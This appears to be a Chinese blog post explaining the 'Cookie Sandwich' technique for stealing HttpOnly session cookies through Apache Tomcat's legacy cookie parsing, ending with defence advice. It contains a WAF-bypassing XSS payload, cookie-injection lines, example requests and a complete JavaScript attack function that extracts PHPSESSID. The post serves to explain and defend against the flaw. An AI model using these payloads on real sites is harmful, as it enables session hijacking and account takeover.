利用“Cookie夹心”技术窃取HttpOnly Cookie的奥秘

在网络安全领域,Cookie作为Web应用中维持用户会话和状态的核心机制,其安全性一直备受关注。特别是带有HttpOnly标志的Cookie,旨在防止客户端脚本(如JavaScript)访问,从而降低跨站脚本攻击(XSS)的风险。然而,一种名为“Cookie夹心”的技术,能够在特定条件下绕过HttpOnly限制,暴露敏感Cookie值。


一、Cookie与HttpOnly的背景知识

在探讨“Cookie夹心”技术之前,我们先来了解Cookie和HttpOnly的基础知识。Cookie是Web浏览器和服务器之间传递的小块数据,通常用于存储用户会话信息(如会话ID)、个性化设置或跟踪数据。典型的Cookie通过Set-Cookie头在服务器响应中设置,例如:

Set-Cookie: sessionId=deadbeef; Path=/; HttpOnly

HttpOnly标志是一种安全属性,指示浏览器禁止客户端脚本访问该Cookie。这种机制有效防止了XSS攻击者通过document.cookie窃取敏感会话信息。然而,HttpOnly并非万能的防御手段,其效果依赖于服务器端对Cookie的正确处理和解析。

Zakhar Fedotkin的研究建立在他此前关于绕过WAF(Web应用防火墙)的“幻影$Version Cookie”技术之上。他注意到,在某些服务器(如Apache Tomcat)支持的遗留Cookie解析逻辑(RFC2109)中,Cookie值可以包含特殊字符。这一特性为“Cookie夹心”技术提供了可乘之机。


二、“Cookie夹心”技术的核心原理

“Cookie夹心”技术的核心在于利用服务器对Cookie头的解析逻辑缺陷,通过在Cookie值中嵌入特殊字符(如引号和分号),诱导服务器错误地重组Cookie结构,从而将原本受HttpOnly保护的Cookie值暴露给客户端脚本。

1. 技术基础:遗留Cookie与特殊字符

现代浏览器(如Chrome)遵循RFC6265标准,不支持以$开头的遗留Cookie名称(如$Version)。然而,JavaScript仍可以通过document.cookie设置此类Cookie,且服务器端的遗留解析逻辑(如Apache Tomcat的RFC2109模式)会识别它们。此外,Cookie值可以包含引号("),这为攻击者提供了操控Cookie结构的空间。

“Cookie夹心”的基本思路是通过构造一系列Cookie,将目标Cookie“夹”在两个受控Cookie之间,最终使服务器将整个Cookie字符串(包括HttpOnly Cookie)作为一个整体值返回。以下是技术实现的关键代码:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
document.cookie = `param2=end";`;

在浏览器发送请求时,Cookie头可能如下:

GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"

服务器(例如Apache Tomcat)在处理此请求时,会根据RFC2109解析逻辑,将param1的值识别为从"start开始到end"结束的字符串,包括中间的sessionId=secret(假设这是一个HttpOnly Cookie)。如果服务器将param1的值反射到响应中,例如:

HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";

攻击者通过客户端脚本即可访问param1的值,从而间接获取sessionId

2. 服务器解析逻辑的细节

Apache Tomcat的Cookie解析器支持RFC6265和RFC2109标准。当遇到$Version属性时,它默认切换到遗留解析模式,并遵循以下规则:

  • 如果Cookie值以双引号(")开头,则持续读取直到遇到下一个未转义的双引号。
  • 支持反斜杠(\)转义特殊字符。

这种行为使得攻击者可以通过引号操控Cookie值的边界。例如,在Python框架(如Flask)中,Cookie值中的分号会被编码为四字符序列(斜杠加三位八进制码,如\073),但仍保留引号内的完整性:

Cookie: param1="start; sessionId=secret; param2=end"
=>
Set-Cookie: param1="start\073 sessionId=secret\073 param2=end";

如果应用程序未正确设置HttpOnly标志或将Cookie值反射到响应体中,攻击者即可利用此漏洞。


三、实战案例:窃取PHPSESSID

Zakhar Fedotkin在文章中分享了一个真实测试案例,展示了如何利用“Cookie夹心”技术结合XSS漏洞窃取HttpOnlyPHPSESSID Cookie。以下是攻击的详细步骤。

1. 发现XSS漏洞

攻击始于一个存在反射型XSS漏洞的错误页面。该页面未正确转义<link><meta>标签的属性,允许注入JavaScript代码。例如:

<link rel="canonical" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto">

尽管站点部署了AWS WAF,但由于未修补的oncontentvisibilityautostatechange事件(感谢@garethheyes的技巧),攻击者成功绕过了防护,执行了自定义脚本。

2. 定位暴露的Cookie参数

通过XSS,攻击者能够在页面上运行JavaScript,但直接访问的分析脚本中未找到HttpOnly Cookie。随后,他发现了一个跟踪域名(tracking.example.com),该域会在JSON响应中反射会话ID参数:

GET /json?session=ignored HTTP/1.1
Host: tracking.example.com
Cookie: session=deadbeef;

HTTP/2 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true

{"session":"deadbeef"}

此端点支持CORS(跨源资源共享),允许来自主域的请求,且响应中包含凭据。这为“Cookie夹心”攻击提供了理想条件。

3. 利用Cookie顺序与反射漏洞

跟踪应用的一个关键行为是:尽管URL中的session参数为必填项,服务器会优先使用Cookie头中的值覆盖它。由于后端运行Apache Tomcat,攻击者利用$Version切换到RFC2109模式。然而,Cookie顺序是一个挑战——$Version必须位于请求的首位。

Cookie顺序通常由创建时间或Path属性决定。攻击者无法控制受害者Cookie的创建时间,但可以通过设置更具体的Path(如/json)调整顺序。最终请求如下:

GET /json?session=ignored
Host: tracking.example.com
Cookie: $Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"

HTTP/2 200 OK
Content-Type: application/json
{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}

PHPSESSID=secret被成功“夹”进session值并反射到响应中。

4. 完整的攻击流程

攻击的完整脚本如下:

async function sandwich(target, cookie) {
    const iframe = document.createElement('iframe');
    const url = new URL(target);
    const domain = url.hostname;
    const path = url.pathname;

    iframe.src = target;
    iframe.style.display = 'none';
    document.body.appendChild(iframe);

    iframe.onload = async () => {
        document.cookie = `$Version=1; domain=${domain}; path=${path};`;
        document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
        document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;

        const response = await fetch(`${target}`, { credentials: 'include' });
        const responseData = await response.text();
        alert(responseData);
    };
}

setTimeout(sandwich, 100, 'http://example.com/json', 'session');

此脚本通过iframe触发XSS,设置“Cookie夹心”,并通过CORS请求提取PHPSESSID


四、技术分析与局限性

1. 为什么有效?

“Cookie夹心”技术的成功依赖于以下条件:

  • 服务器支持遗留解析:如Apache Tomcat的RFC2109模式。
  • 反射漏洞:Cookie值被不安全地反射到响应中。
  • XSS或CORS配合:需要客户端脚本或跨源请求访问反射数据。

2. 局限性与挑战

  • Cookie顺序控制:依赖Path属性调整顺序,可能不适用于所有场景。
  • 框架依赖:不同框架对Cookie的处理方式差异较大(如Python框架的编码机制)。
  • 防御措施:若服务器正确设置HttpOnly或避免反射,攻击将失效。

五、防御建议

针对“Cookie夹心”攻击,开发者应采取以下措施:

  1. 禁用遗留Cookie解析:在Apache Tomcat中禁用RFC2109支持,仅使用RFC6265。
  2. 严格转义与验证:确保Cookie值不被直接反射到响应中,并验证用户输入。
  3. 增强CORS配置:限制Access-Control-Allow-Credentials的使用,仅允许可信域。
  4. 全面XSS防护:修补所有XSS漏洞,避免攻击者植入脚本。

六、小结

“Cookie夹心”技术揭示了Cookie安全性的复杂性,即使是HttpOnly这样看似坚固的防御,也可能因服务器解析逻辑的细微差异而失效。随着Web技术的发展,类似的漏洞可能在其他框架或协议中浮现,值得持续关注。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值